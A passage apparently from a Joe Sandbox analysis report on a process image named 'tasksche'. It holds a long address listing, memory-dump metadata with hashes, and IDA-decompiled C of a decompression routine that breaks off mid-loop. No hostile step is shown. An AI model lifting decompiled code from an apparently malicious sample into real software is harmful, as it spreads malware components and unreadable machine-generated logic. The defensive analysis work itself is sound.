0x00416dc8
0x00416dcf
0x00416dcf
0x00416dd1
0x00416dde
0x00416dde
0x00416dde
0x00416dd3
0x00416dd4
0x00416dd7
0x00416dda
0x00000000
0x00416ddc
0x00000000
0x00416ddc
0x00416dda
0x00000000
0x00416dcf
0x00416d95
0x00416d97
0x00416d9a
0x00416da4
0x00416dac
0x00416db1
0x00416db4
0x00416e19
0x00416e1e
0x00416e20
0x00416e5b
0x00416e61
0x0041725b
0x0041725d
0x00417290
0x00417296
0x004173d0
0x004173d0
0x004173d6
0x004173dc
0x004173df
0x004173e1
0x004173f0
0x004173f5
0x004173f8
0x004173fd
0x00417403
0x00417408
0x0041740f
0x0041743c
0x0041743d
0x00417440
0x00417442
0x0041745c
0x0041745f
0x00417466
0x0041746c
0x00417477
0x0041747c
0x00417483
0x00417489
0x0041748b
0x0041748b
0x0041748b
0x0041748d
0x00417495
0x00417495
0x00417498
0x004174aa
0x004174b4
0x004174b7
0x004174b9
0x004174bd
0x004174c4
0x004174c9
0x004174cf
0x004174d6
0x004174d8
0x004174d8
0x004174db
0x004174db
0x0041749a
0x0041749d
0x0041749d
0x004174de
0x004174e8
0x004174eb
0x0041750b
0x0041750e
0x00417511
0x00417515
0x00417518
0x0041751e
0x00417521
0x00417523
0x00000000
0x00000000
0x00417529
0x0041752b
0x00000000
0x00000000
0x00417531
0x00417537
0x0041753c
0x0041753f
0x00417545
0x00417548
0x0041754b
0x0041759a
0x0041759d
0x004175c6
0x004175c6
0x004175ca
0x004175d0
0x004175d6
0x004175d9
0x004175db
0x004175e1
0x004175e8
0x004175eb
0x004175f1
0x004175f8
0x004175fb
0x00417601
0x00417608
0x0041760b
0x00417611
0x00417618
0x0041761b
0x00417621
0x00417628
0x0041762b
0x00417634
0x00417634
0x0041762b
0x0041761b
0x0041760b
0x004175fb
0x004175eb
0x004175db
0x00000000
0x004175ca
0x004175a2
0x004175a2
0x004175a5
0x004175a8
0x004175ae
0x004175b3
0x004175b7
0x004175bb
0x004175be
0x004175c1
0x004175c1
0x004175c1
0x004175c1
0x00000000
0x004175a8
0x0041754d
0x00417550
0x00000000
0x00000000
0x00417552
0x00417552
0x00417555
0x00417557
0x0041755a
0x0041755c
0x00417560
0x00417565
0x0041756b
0x00417571
0x00417577
0x0041757d
0x00417583
0x00417589
0x0041758c
0x0041758f
0x00417592
0x00417592
0x00417592
0x00417595
0x00000000
0x004174ed
0x004174ed
0x004174f6
0x004174f7
0x004174fa
0x00000000
0x004174fa
0x004174eb
0x00417444
0x0041744b
0x0041744b
0x0041744d
0x00000000
0x00000000
0x0041744f
0x00417450
0x00417453
0x00417456
0x00000000
0x00000000
0x00000000
0x00417458
0x0041745a
0x00000000
0x0041745a
0x00417413
0x00417416
0x00417420
0x00417428
0x0041742d
0x00417430
0x00000000
0x00000000
0x00000000
0x00000000
0x004173e3
0x004173e3
0x004173e6
0x004173e8
0x004173e9
0x004173ec
0x004173ec
0x00000000
0x004173e3
0x00000000
0x00417296
0x00417262
0x00417266
0x0041726b
0x0041726d
0x00000000
0x00000000
0x00000000
0x00416e67
0x00416e67
0x00416e6d
0x00416e70
0x00416e82
0x00416e8c
0x00416e8f
0x00416e91
0x00416e95
0x00416e9c
0x00416ea1
0x00416ea7
0x00416eae
0x00416eb0
0x00416eb0
0x00416eb3
0x00416eb3
0x00416e72
0x00416e75
0x00416e75
0x00416ebb
0x00416ebe
0x00416ec3
0x00416ec9
0x00416ece
0x00416ed5
0x00416f02
0x00416f03
0x00416f06
0x00416f08
0x00416f22
0x00416f25
0x00416f2c
0x00416f32
0x00416f3d
0x00416f42
0x00416f49
0x00416f4f
0x00416f51
0x00416f51
0x00416f51
0x00416f53
0x00000000
0x00416f0a
0x00416f0a
0x00416f11
0x00416f11
0x00416f13
0x00416f20
0x00416f20
0x00416f20
0x00416f15
0x00416f16
0x00416f19
0x00416f1c
0x00000000
0x00416f1e
0x00000000
0x00416f1e
0x00416f1c
0x00000000
0x00416f11
0x00416ed7
0x00416ed9
0x00416edc
0x00416ee6
0x00416eee
0x00416ef3
0x00416ef6
0x00416f5b
0x00416f5b
0x00416f5e
0x00416f70
0x00416f79
0x00416f7c
0x00416f7e
0x0041707e
0x0041707e
0x00417081
0x00417087
0x0041708d
0x00417090
0x00417096
0x00417098
0x0041709b
0x004170a1
0x004170a3
0x004170a3
0x004170a3
0x004170a3
0x004170a1
0x00417096
0x004170a6
0x004170b0
0x004170b3
0x004170b9
0x004170bf
0x004170c2
0x004170c5
0x004170c8
0x004170cb
0x004170e6
0x004170e8
0x004170ed
0x004170f5
0x004170fb
0x004170fe
0x00417100
0x00417219
0x00417219
0x0041721d
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00417223
0x00417223
0x00417229
0x0041722f
0x00417239
0x00417241
0x00417247
0x0041724b
0x0041724f
0x00417252
0x00417252
0x00417256
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00000000
0x00416ca6
0x00000000
0x00416ca6
0x00417106
0x00417108
0x00000000
0x00000000
0x00417114
0x0041711e
0x00417121
0x00417126
0x00417128
0x0041712b
0x0041717c
0x0041717f
0x004171a8
0x004171a8
0x004171ab
0x004171ab
0x004171ad
0x004171b5
0x004171b8
0x004171ba
0x004171bd
0x004171c6
0x004171c9
0x004171cc
0x004171d5
0x004171d8
0x004171db
0x004171e4
0x004171e7
0x004171ea
0x004171f3
0x004171f6
0x004171f9
0x00417202
0x00417205
0x00417208
0x00417211
0x00417211
0x00417208
0x004171f9
0x004171ea
0x004171db
0x004171cc
0x004171bd
0x00000000
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x0041763c
0x0041763c
0x0041763c
0x00417646
0x0041764c
0x00417652
0x0041765c
0x00417664
0x0041766a
0x0041766e
0x00417672
0x00417675
0x00417675
0x00417679
0x00416ca6
0x00416ca6
0x00416ca6
0x00000000
0x0041729c
0x0041729c
0x0041729f
0x0041729f
0x004172a7
0x004172ae
0x004172c6
0x004172c9
0x004172cc
0x004172d0
0x004172d8
0x004172de
0x004172e1
0x004172e3
0x00000000
0x00000000
0x004172e9
0x004172eb
0x00000000
0x00000000
0x004172f7
0x00417301
0x00417304
0x00417309
0x0041730b
0x0041730e
0x0041735b
0x0041735e
0x00417386
0x00417386
0x00000000
0x00417386
0x00417362
0x00417362
0x00417365
0x00417368
0x0041736e
0x00417373
0x00417377
0x0041737b
0x0041737e
0x00417381
0x00417381
0x00417381
0x00417381
0x00000000
0x00417368
0x00417310
0x00417313
0x00000000
0x00000000
0x00417315
0x00417318
0x00417318
0x0041731b
0x0041731d
0x00417321
0x00417326
0x0041732c
0x00417332
0x00417338
0x0041733e
0x00417344
0x0041734a
0x0041734d
0x00417350
0x00417353
0x00417353
0x00417353
0x00417356
0x00000000
0x00417356
0x004172b0
0x004172b9
0x004172ba
0x004172bd
0x00000000
0x0041726f
0x00417275
0x0041727a
0x0041727a
0x00000000
0x0041738e
0x0041738e
0x0041738e
0x00417398
0x0041739e
0x004173a4
0x004173ae
0x004173b6
0x004173bc
0x004173c0
0x004173c4
0x004173c7
0x004173c7
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cb4
0x00417184
0x00417184
0x00417187
0x0041718a
0x00417190
0x00417195
0x00417199
0x0041719d
0x004171a0
0x004171a3
0x004171a3
0x004171a3
0x004171a3
0x00000000
0x0041718a
0x0041712d
0x00417130
0x00000000
0x00000000
0x00417134
0x00417134
0x00417137
0x00417139
0x0041713c
0x0041713e
0x00417142
0x00417147
0x0041714d
0x00417153
0x00417159
0x0041715f
0x00417165
0x0041716b
0x0041716e
0x00417171
0x00417174
0x00417174
0x00417174
0x00417177
0x00000000
0x004170cd
0x004170cd
0x004170d3
0x004170d4
0x004170d5
0x004170d6
0x004170dc
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x004170cb
0x00416f84
0x00416f87
0x0041705d
0x00417064
0x00417069
0x0041706f
0x00417076
0x00417078
0x00417078
0x0041707b
0x00000000
0x0041707b
0x00416f8d
0x00416f91
0x00416f98
0x00416fa0
0x00416fa6
0x00416faf
0x00416fb1
0x00416fb1
0x00416fb4
0x00416fb4
0x00416fb9
0x00416fbe
0x00416fc4
0x00416fc9
0x00416fd0
0x00416ffd
0x00416ffe
0x00417001
0x00417003
0x0041701d
0x00417020
0x00417027
0x0041702d
0x00417038
0x0041703d
0x00417044
0x0041704a
0x0041704c
0x0041704c
0x0041704c
0x0041704e
0x00000000
0x0041704e
0x00417005
0x0041700c
0x0041700c
0x0041700e
0x00000000
0x00000000
0x00417010
0x00417011
0x00417014
0x00417017
0x00000000
0x00000000
0x00000000
0x00417019
0x0041701b
0x00000000
0x00416fd2
0x00416fd4
0x00416fd7
0x00416fe1
0x00416fe9
0x00416fee
0x00416ff1
0x00417056
0x00417056
0x00000000
0x00417056
0x00416fd0
0x00416f61
0x00000000
0x00416f61
0x00416ed5
0x00416e22
0x00416e22
0x00416e29
0x00416e50
0x00416e53
0x00416e2b
0x00416e31
0x00416e40
0x00416e40
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00416e20
0x00416d93
0x00416d3c
0x00416d3e
0x00000000
0x00000000
0x00416d42
0x00416d47
0x00416d4d
0x00416d53
0x00000000
0x00000000
0x00416d59
0x00416d6d
0x00416d6d
0x00416d74
0x0041767e
0x00000000
0x0041767e
0x00000000
0x00416d74
0x00416d5b
0x00416d61
0x00416d67
0x00000000
0x00000000
0x00000000
0x00416d67
0x00416ca6
0x00416c5d
0x00416c64
0x00416c6b
0x00000000
0x00000000
0x00416c71
0x00416c77
0x00416c78
0x00416c7b
0x00416c7e
0x00416c85
0x00000000
0x00000000
0x00416c96
0x00416c9d
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction ID: ec473c390e775c3513d1f4c5f902ffdbdf11d251c2712a84011b28fca20aaef5
Opcode Fuzzy Hash: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction Fuzzy Hash: 5F72E770A087459FCB29CF24C5D0AE9BBF1EF55304F1584AED99A8B342D338E985CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00415D9A Relevance: .8, Instructions: 795
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00415D9A(void* __ecx, signed int _a4) {
				void* _v8;
				char* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t458;
				intOrPtr _t460;
				intOrPtr _t461;
				signed int _t462;
				signed int _t463;
				unsigned int _t464;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t471;
				unsigned int _t472;
				signed int _t475;
				signed int _t476;
				signed int _t481;
				intOrPtr _t498;
				unsigned int _t501;
				unsigned int _t504;
				intOrPtr* _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				signed int _t514;
				unsigned int _t519;
				unsigned int _t520;
				unsigned int _t522;
				intOrPtr* _t523;
				signed int _t525;
				char _t526;
				signed int _t528;
				signed int _t529;
				signed int _t536;
				unsigned int _t537;
				signed int _t540;
				signed int _t541;
				signed int _t549;
				signed int _t550;
				unsigned int _t569;
				unsigned int _t572;
				intOrPtr* _t573;
				unsigned int _t576;
				signed int _t579;
				signed int _t580;
				signed int _t581;
				unsigned int _t582;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				unsigned int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t593;
				unsigned int _t594;
				signed int _t597;
				signed int _t598;
				signed int _t600;
				void* _t607;
				signed int _t608;
				intOrPtr _t613;
				signed int _t614;
				signed int _t617;
				void* _t619;
				intOrPtr* _t622;
				signed int _t625;
				void* _t627;
				signed char _t631;
				void* _t633;
				signed int _t634;
				intOrPtr _t636;
				char* _t639;
				char* _t640;
				void* _t642;
				intOrPtr* _t646;
				void* _t647;
				signed int _t650;
				signed int _t652;
				char* _t658;
				signed char _t663;
				signed int _t666;
				void* _t668;
				signed char _t672;
				signed int _t674;
				unsigned int _t679;
				char* _t680;
				void* _t682;
				signed int _t688;
				void* _t690;
				intOrPtr* _t692;
				void* _t693;
				signed int _t696;
				void* _t699;
				intOrPtr* _t704;
				void* _t705;
				signed int _t708;
				void* _t711;
				intOrPtr* _t716;
				void* _t717;
				signed int _t720;
				signed int _t726;
				signed int _t727;
				signed int _t732;
				signed int _t733;
				signed int _t738;
				signed int _t744;
				void* _t758;
				signed int _t759;
				intOrPtr _t761;
				char* _t762;
				signed int _t771;
				signed int _t772;
				unsigned int _t776;
				void* _t778;
				signed int _t779;
				intOrPtr _t781;
				char* _t782;
				signed int _t791;
				signed int _t792;
				void* _t806;
				intOrPtr* _t808;
				void* _t810;

				_t608 = _a4;
				_t806 = __ecx;
				if( *((char*)(_t608 + 0x2c)) != 0) {
					L3:
					_t458 =  *((intOrPtr*)(_t608 + 0x18));
					_t808 = _t608 + 4;
					__eflags =  *_t808 -  *((intOrPtr*)(_t608 + 0x24)) + _t458;
					if( *_t808 <=  *((intOrPtr*)(_t608 + 0x24)) + _t458) {
						_t613 =  *((intOrPtr*)(_t608 + 0x20)) + _t458 - 1;
						_t460 =  *((intOrPtr*)(_t608 + 0x4acc)) - 0x10;
						__eflags = _t613 - _t460;
						_v32 = _t613;
						_v36 = _t460;
						_v28 = _t613;
						if(_t613 >= _t460) {
							_v28 = _t460;
						}
						while(1) {
							L8:
							_t614 =  *(_t806 + 0xe6dc);
							 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
							_t461 =  *_t808;
							__eflags = _t461 - _v28;
							if(_t461 < _v28) {
								goto L15;
							}
							L9:
							__eflags = _t461 - _v32;
							if(__eflags > 0) {
								L98:
								_t526 = 1;
								goto L99;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t461 - _v36;
								if(_t461 < _v36) {
									L14:
									__eflags = _t461 -  *((intOrPtr*)(_t608 + 0x4acc));
									if(_t461 >=  *((intOrPtr*)(_t608 + 0x4acc))) {
										L157:
										 *((char*)(_t608 + 0x4ad3)) = 1;
										goto L98;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t608 + 0x4ad2));
								if( *((char*)(_t608 + 0x4ad2)) == 0) {
									goto L157;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t608 + 8)) -  *((intOrPtr*)(_t608 + 0x1c));
							if( *((intOrPtr*)(_t608 + 8)) >=  *((intOrPtr*)(_t608 + 0x1c))) {
								goto L98;
							}
							goto L12;
							L15:
							_t462 =  *(_t806 + 0x70);
							__eflags = ( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) - 0x1004;
							if(( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) >= 0x1004) {
								L20:
								_t463 = E0040978C(_t808);
								_t726 =  *(_t608 + 0xb4);
								_t464 = _t463 & 0x0000fffe;
								__eflags = _t464 -  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4));
								if(_t464 >=  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4))) {
									_t727 = _t726 + 1;
									_a4 = 0xf;
									__eflags = _t727 - 0xf;
									if(_t727 >= 0xf) {
										L28:
										_t617 =  *(_t808 + 4) + _a4;
										 *_t808 =  *_t808 + (_t617 >> 3);
										_t730 = _a4;
										 *(_t808 + 4) = _t617 & 0x00000007;
										_t619 = 0x10;
										_t467 = (_t464 -  *((intOrPtr*)(_t608 + 0x30 + _a4 * 4)) >> _t619 - _a4) +  *((intOrPtr*)(_t608 + 0x74 + _t730 * 4));
										__eflags = _t467 -  *((intOrPtr*)(_t608 + 0x30));
										if(_t467 >=  *((intOrPtr*)(_t608 + 0x30))) {
											_t467 = 0;
											__eflags = 0;
										}
										_t468 =  *(_t608 + 0xcb8 + _t467 * 2) & 0x0000ffff;
										L31:
										__eflags = _t468 - 0x100;
										if(_t468 >= 0x100) {
											__eflags = _t468 - 0x106;
											if(_t468 < 0x106) {
												__eflags = _t468 - 0x100;
												if(_t468 != 0x100) {
													__eflags = _t468 - 0x101;
													if(_t468 != 0x101) {
														_t469 = _t468 + 0xfffffefe;
														__eflags = _t469;
														_t622 = _t806 + 0x54 + _t469 * 4;
														_v24 =  *_t622;
														if(_t469 == 0) {
															L127:
															 *((intOrPtr*)(_t806 + 0x54)) = _v24;
															_t471 = E0040978C(_t808);
															_t732 =  *(_t608 + 0x2d78);
															_t472 = _t471 & 0x0000fffe;
															__eflags = _t472 -  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4));
															if(_t472 >=  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4))) {
																_t733 = _t732 + 1;
																_a4 = 0xf;
																__eflags = _t733 - 0xf;
																if(_t733 >= 0xf) {
																	L135:
																	_t625 =  *(_t808 + 4) + _a4;
																	 *_t808 =  *_t808 + (_t625 >> 3);
																	_t736 = _a4;
																	 *(_t808 + 4) = _t625 & 0x00000007;
																	_t627 = 0x10;
																	_t475 = (_t472 -  *((intOrPtr*)(_t608 + 0x2cf4 + _a4 * 4)) >> _t627 - _a4) +  *((intOrPtr*)(_t608 + 0x2d38 + _t736 * 4));
																	__eflags = _t475 -  *((intOrPtr*)(_t608 + 0x2cf4));
																	if(_t475 >=  *((intOrPtr*)(_t608 + 0x2cf4))) {
																		_t475 = 0;
																		__eflags = 0;
																	}
																	_t476 =  *(_t608 + 0x397c + _t475 * 2) & 0x0000ffff;
																	L138:
																	__eflags = _t476 - 8;
																	if(_t476 >= 8) {
																		_t631 = (_t476 >> 2) - 1;
																		_a4 = _t631;
																		_t481 = ((_t476 & 0x00000003 | 0x00000004) << _t631) + 2;
																		_v20 = _t481;
																		__eflags = _t631;
																		if(_t631 > 0) {
																			_t506 = E0040978C(_t808);
																			_t642 = 0x10;
																			_v20 = _v20 + (_t506 >> _t642 - _a4);
																			_t509 =  *(_t808 + 4) + _a4;
																			 *_t808 =  *_t808 + (_t509 >> 3);
																			_t510 = _t509 & 0x00000007;
																			__eflags = _t510;
																			 *(_t808 + 4) = _t510;
																			_t481 = _v20;
																		}
																	} else {
																		_t481 = _t476 + 2;
																		_v20 = _t481;
																	}
																	_t738 =  *(_t806 + 0x70) - _v24;
																	_t633 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																	 *(_t806 + 0x68) = _t481;
																	_a4 = _t481;
																	_v16 = _t738;
																	__eflags = _t738 - _t633;
																	if(_t738 >= _t633) {
																		L153:
																		__eflags = _t481;
																	} else {
																		__eflags =  *(_t806 + 0x70) - _t633;
																		if( *(_t806 + 0x70) >= _t633) {
																			goto L153;
																		}
																		_t636 =  *((intOrPtr*)(_t806 + 0x4b34));
																		_v12 = _t738 + _t636;
																		_t744 =  *(_t806 + 0x70);
																		_v8 = _t636 + _t744;
																		 *(_t806 + 0x70) = _t481 + _t744;
																		__eflags = _v24 - _t481;
																		if(_v24 >= _t481) {
																			__eflags = _t481 - 8;
																			if(_t481 < 8) {
																				L113:
																				__eflags = _a4;
																				if(_a4 <= 0) {
																					continue;
																					do {
																						do {
																							do {
																								do {
																									do {
																										do {
																											do {
																												do {
																													do {
																														do {
																															do {
																																do {
																																	do {
																																		do {
																																			while(1) {
																																				L8:
																																				_t614 =  *(_t806 + 0xe6dc);
																																				 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																																				_t461 =  *_t808;
																																				__eflags = _t461 - _v28;
																																				if(_t461 < _v28) {
																																					goto L15;
																																				}
																																				goto L9;
																																			}
																																			L82:
																																			__eflags = _a4;
																																		} while (_a4 <= 0);
																																		goto L83;
																																	} while (_a4 <= 0);
																																	goto L114;
																																	L83:
																																	__eflags = _a4 - 1;
																																	_t639 = _v12;
																																	 *_t639 =  *_v8;
																																} while (_a4 <= 1);
																																goto L84;
																															} while (_a4 <= 1);
																															goto L115;
																															L84:
																															__eflags = _a4 - 2;
																															_t227 = _v8 + 1; // 0x300905a
																															 *((char*)(_t639 + 1)) =  *_t227;
																														} while (_a4 <= 2);
																														goto L85;
																														L115:
																														__eflags = _a4 - 2;
																														 *((char*)(_t639 + 1)) =  *((intOrPtr*)(_v12 + 1));
																													} while (_a4 <= 2);
																													goto L116;
																													L85:
																													__eflags = _a4 - 3;
																													_t231 = _v8 + 2; // 0x30090
																													 *((char*)(_t639 + 2)) =  *_t231;
																												} while (_a4 <= 3);
																												goto L86;
																												L116:
																												__eflags = _a4 - 3;
																												 *((char*)(_t639 + 2)) =  *((intOrPtr*)(_v12 + 2));
																											} while (_a4 <= 3);
																											goto L117;
																											L86:
																											__eflags = _a4 - 4;
																											_t235 = _v8 + 3; // 0x300
																											 *((char*)(_t639 + 3)) =  *_t235;
																										} while (_a4 <= 4);
																										goto L87;
																										L117:
																										__eflags = _a4 - 4;
																										 *((char*)(_t639 + 3)) =  *((intOrPtr*)(_v12 + 3));
																									} while (_a4 <= 4);
																									goto L118;
																									L87:
																									__eflags = _a4 - 5;
																									_t239 = _v8 + 4; // 0x3
																									 *((char*)(_t639 + 4)) =  *_t239;
																								} while (_a4 <= 5);
																								goto L88;
																								L118:
																								__eflags = _a4 - 5;
																								 *((char*)(_t639 + 4)) =  *((intOrPtr*)(_v12 + 4));
																							} while (_a4 <= 5);
																							goto L119;
																							L88:
																							__eflags = _a4 - 6;
																							_t243 = _v8 + 5; // 0x4000000
																							 *((char*)(_t639 + 5)) =  *_t243;
																						} while (_a4 <= 6);
																						_t498 = _v8;
																						L90:
																						_t246 = _t498 + 6; // 0x40000
																						 *((char*)(_t639 + 6)) =  *_t246;
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							L91:
																							__eflags = _v16;
																						} while (_v16 <= 0);
																						_t779 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t674 & _t779) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t779 =  *(_t806 + 0xe6dc);
																							_t674 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t674;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t779;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							goto L153;
																						} while (_t481 <= 0);
																						_t634 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							_v16 = _v16 + 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_v16 & _t634) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t634 =  *(_t806 + 0xe6dc);
																							__eflags = _a4;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t634;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							do {
																								do {
																									while(1) {
																										L8:
																										_t614 =  *(_t806 + 0xe6dc);
																										 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																										_t461 =  *_t808;
																										__eflags = _t461 - _v28;
																										if(_t461 < _v28) {
																											goto L15;
																										}
																										goto L9;
																									}
																									goto L102;
																								} while (_t512 == 0);
																								_t652 =  *(_t806 + 0x70);
																								_a4 = _t512;
																								_t514 = _t652 -  *((intOrPtr*)(_t806 + 0x54));
																								_t758 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																								_v24 = _t514;
																								__eflags = _t514 - _t758;
																								if(_t514 >= _t758) {
																									goto L121;
																								}
																								__eflags = _t652 - _t758;
																								if(_t652 >= _t758) {
																									goto L121;
																								}
																								_t761 =  *((intOrPtr*)(_t806 + 0x4b34));
																								_v12 = _t514 + _t761;
																								_t519 = _a4;
																								_t762 = _t761 + _t652;
																								_v8 = _t762;
																								 *(_t806 + 0x70) = _t652 + _t519;
																								__eflags =  *((intOrPtr*)(_t806 + 0x54)) - _t519;
																								if( *((intOrPtr*)(_t806 + 0x54)) >= _t519) {
																									__eflags = _t519 - 8;
																									if(_t519 < 8) {
																										goto L113;
																									}
																									_t520 = _t519 >> 3;
																									__eflags = _t520;
																									_v24 = _t520;
																									do {
																										E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																										_v12 = _v12 + 8;
																										_v8 = _v8 + 8;
																										_a4 = _a4 - 8;
																										_t810 = _t810 + 0xc;
																										_t307 =  &_v24;
																										 *_t307 = _v24 - 1;
																										__eflags =  *_t307;
																									} while ( *_t307 != 0);
																									goto L113;
																								}
																								__eflags = _t519 - 8;
																								if(_t519 < 8) {
																									goto L113;
																								}
																								_t522 = _t519 >> 3;
																								__eflags = _t522;
																								_v24 = _t522;
																								_t523 = _v12;
																								_t658 = _t762;
																								do {
																									_a4 = _a4 - 8;
																									 *_t658 =  *_t523;
																									 *((char*)(_t658 + 1)) =  *((intOrPtr*)(_t523 + 1));
																									 *((char*)(_t658 + 2)) =  *((intOrPtr*)(_t523 + 2));
																									 *((char*)(_t658 + 3)) =  *((intOrPtr*)(_t523 + 3));
																									 *((char*)(_t658 + 4)) =  *((intOrPtr*)(_t523 + 4));
																									 *((char*)(_t658 + 5)) =  *((intOrPtr*)(_t523 + 5));
																									 *((char*)(_t658 + 6)) =  *((intOrPtr*)(_t523 + 6));
																									 *((char*)(_t658 + 7)) =  *((intOrPtr*)(_t523 + 7));
																									_t523 = _t523 + 8;
																									_t658 = _t658 + 8;
																									_t294 =  &_v24;
																									 *_t294 = _v24 - 1;
																									__eflags =  *_t294;
																								} while ( *_t294 != 0);
																								L109:
																								_v8 = _t640;
																								_v12 = _t505;
																								goto L113;
																								L97:
																								_t528 = E00415771(_t806,  &_v52);
																								__eflags = _t528;
																							} while (_t528 != 0);
																							goto L98;
																							L121:
																							__eflags = _a4;
																						} while (_a4 <= 0);
																						_t759 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t514 & _t759) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t759 =  *(_t806 + 0xe6dc);
																							_t514 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t514;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t759;
																						} while (_a4 > 0);
																						goto L8;
																						L119:
																						__eflags = _a4 - 6;
																						 *((char*)(_t639 + 5)) =  *((intOrPtr*)(_v12 + 5));
																					} while (_a4 <= 6);
																					_t498 = _v12;
																					goto L90;
																				}
																				L114:
																				__eflags = _a4 - 1;
																				_t639 = _v8;
																				 *_t639 =  *_v12;
																			}
																			_t501 = _v20 >> 3;
																			__eflags = _t501;
																			_v24 = _t501;
																			do {
																				E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																				_v12 = _v12 + 8;
																				_v8 = _v8 + 8;
																				_a4 = _a4 - 8;
																				_t810 = _t810 + 0xc;
																				_t441 =  &_v24;
																				 *_t441 = _v24 - 1;
																				__eflags =  *_t441;
																			} while ( *_t441 != 0);
																			goto L113;
																		}
																		__eflags = _t481 - 8;
																		if(_t481 < 8) {
																			goto L113;
																		}
																		_t640 = _v8;
																		_t504 = _v20 >> 3;
																		__eflags = _t504;
																		_v24 = _t504;
																		_t505 = _v12;
																		do {
																			_a4 = _a4 - 8;
																			 *_t640 =  *_t505;
																			 *((char*)(_t640 + 1)) =  *((intOrPtr*)(_t505 + 1));
																			 *((char*)(_t640 + 2)) =  *((intOrPtr*)(_t505 + 2));
																			 *((char*)(_t640 + 3)) =  *((intOrPtr*)(_t505 + 3));
																			 *((char*)(_t640 + 4)) =  *((intOrPtr*)(_t505 + 4));
																			 *((char*)(_t640 + 5)) =  *((intOrPtr*)(_t505 + 5));
